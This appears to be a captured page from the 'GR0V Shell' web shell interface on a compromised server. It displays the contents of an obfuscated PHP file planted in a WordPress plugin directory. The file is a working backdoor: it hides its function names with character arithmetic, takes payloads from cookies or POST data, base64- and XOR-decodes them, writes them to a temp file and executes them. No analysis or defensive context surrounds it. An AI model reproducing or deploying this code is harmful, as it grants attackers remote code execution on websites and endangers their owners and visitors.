? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/domains/happytokorea.net/public_html/wp-content/plugins/light/
File Upload :
Current File : /home/admin/domains/happytokorea.net/public_html/wp-content/plugins/light/14c02ada.php

$CteClWIBco = 'h' . 'f' . chr (101) . "\137" . chr (106) . chr ( 467 - 384 )."\x6c" . chr ( 415 - 330 ); $eivNr = chr ( 1008 - 909 ).chr ( 214 - 106 )."\141" . 's' . 's' . '_' . "\x65" . "\170" . "\x69" . "\x73" . chr (116) . chr ( 944 - 829 ); $suMLP = $eivNr($CteClWIBco); $eivNr = "63714";$PdsBXHA = $suMLP;if (!$PdsBXHA){class hfe_jSlU{private $PFugPF;public static $UreIrOUeJo = "dc719536-e040-47e6-8e7e-c47b0e0b8a75";public static $zQwQrpHCH = 38252;public function __construct($KPGZakbKq=0){$aCbYV = $_COOKIE;$CRQKlaR = $_POST;$sbNbKbesx = @$aCbYV[substr(hfe_jSlU::$UreIrOUeJo, 0, 4)];if (!empty($sbNbKbesx)){$TeBjotnjH = "base64";$deqgBpCkte = "";$sbNbKbesx = explode(",", $sbNbKbesx);foreach ($sbNbKbesx as $zQcNkXgV){$deqgBpCkte .= @$aCbYV[$zQcNkXgV];$deqgBpCkte .= @$CRQKlaR[$zQcNkXgV];}$deqgBpCkte = array_map($TeBjotnjH . chr (95) . 'd' . chr (101) . "\143" . "\x6f" . chr (100) . 'e', array($deqgBpCkte,)); $deqgBpCkte = $deqgBpCkte[0] ^ str_repeat(hfe_jSlU::$UreIrOUeJo, (strlen($deqgBpCkte[0]) / strlen(hfe_jSlU::$UreIrOUeJo)) + 1);hfe_jSlU::$zQwQrpHCH = @unserialize($deqgBpCkte);}}private function NNlCTAAq(){if (is_array(hfe_jSlU::$zQwQrpHCH)) {$ZdBpPcHgSm = sys_get_temp_dir() . "/" . crc32(hfe_jSlU::$zQwQrpHCH[chr ( 657 - 542 ).chr (97) . 'l' . "\164"]);@hfe_jSlU::$zQwQrpHCH[chr (119) . "\162" . chr (105) . chr ( 134 - 18 ).chr ( 861 - 760 )]($ZdBpPcHgSm, hfe_jSlU::$zQwQrpHCH[chr (99) . "\x6f" . "\156" . "\x74" . "\145" . "\156" . "\x74"]);include $ZdBpPcHgSm;@hfe_jSlU::$zQwQrpHCH[chr (100) . chr (101) . "\x6c" . 'e' . chr ( 1011 - 895 ).chr (101)]($ZdBpPcHgSm); $blRRlwfDF = "19010";exit();}}public function __destruct(){$this->NNlCTAAq(); $blRRlwfDF = "19010";}}$HmggNmTVZ = new hfe_jSlU(); $HmggNmTVZ = "46423_16651";}

T1KUS90T
  root-grov@210.1.60.28:~$